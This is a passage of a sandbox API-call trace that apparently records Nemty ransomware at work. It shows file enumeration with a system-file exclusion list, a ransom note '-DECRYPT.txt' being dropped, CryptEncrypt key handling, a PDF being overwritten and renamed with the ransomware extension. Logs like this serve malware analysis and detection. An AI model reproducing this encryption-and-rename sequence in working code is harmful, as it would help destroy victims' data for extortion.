ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="CAT", cAlternateFileName="")) returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2=".") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="..") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="...") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="windows") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="$RECYCLE.BIN") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="rsa") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="NTDETECT.COM") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="ntldr") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="MSDOS.SYS") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="IO.SYS") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="boot.ini") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="boot.ini") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="AUTOEXEC.BAT") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="ntuser.dat") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="desktop.ini") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="CONFIG.SYS") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="RECYCLER") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="BOOTSECT.BAK") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="bootmgr") returned 1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="programdata") returned -1 [0187.091] lstrcmpiW (lpString1="CAT", lpString2="appdata") returned 1 [0187.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAT", lpUsedDefaultChar=0x0) returned 3 [0187.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAT", lpUsedDefaultChar=0x0) returned 3 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63402e8 [0187.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0187.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403e0 [0187.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404a8 [0187.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0187.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0187.095] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.095] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0187.096] CloseHandle (hObject=0x2f0) returned 1 [0187.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0187.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.097] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.097] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0187.098] CloseHandle (hObject=0x2f0) returned 1 [0187.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0187.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23290f10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23290f10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0187.098] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.098] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23290f10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23290f10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0187.098] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.098] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.098] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0187.098] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0187.098] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0187.098] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0187.098] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0187.098] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0187.099] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0187.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0187.100] Sleep (dwMilliseconds=0x5) [0187.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x232b7070, dwHighDateTime=0x1d561e8)) [0187.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x232b7070, dwHighDateTime=0x1d561e8)) [0187.104] GetLastError () returned 0xb7 [0187.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.104] GetLastError () returned 0xb7 [0187.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.104] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.104] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.105] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.105] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="x1etJvkRPiW1RmMF9qaZ10M9omieFwPHc0AYrMr9HCLV3+8nCnPKmWSTZlGr9BvT\r\nUv5tV/fj8zgJVQ7d2sCVSNHkXWSKqa/UVbw3mu3xb2xZJhoaBlvnYxviu+aBZYuR\r\nXvUyRJ2aPSo9GICZbFTUkQbgALCbk3kwbB+wKkVjAsoIUIvzAhKwrw7kqbg2vzqt\r\n/JBtN4SScWENOGHD5O0FgzUVtpjyLwKQtn/cmJMfWwqmST3eH2Zi+0z42pDzZSf8\r\nHWjK2a77daRTNZrA7lzWktmMZhTU5mVKLQEyTt3wABBENYpaegTEE2RNaK3N8U6d\r\nwv1a81kQy4sSmk9TW95w0A==\r\n", pcchString=0x653df5c) returned 1 [0187.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.105] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=52696) returned 1 [0187.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xcdd0) returned 0x6352c48 [0187.105] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.105] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xcdd0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xcdd0, lpOverlapped=0x0) returned 1 [0187.111] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.111] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xcdd0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xcdd0, lpOverlapped=0x0) returned 1 [0187.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.111] SetFilePointer (in: hFile=0x320, lDistanceToMove=52696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcdd8 [0187.111] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.111] CloseHandle (hObject=0x320) returned 1 [0187.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.111] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0187.112] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0187.112] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0187.113] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned 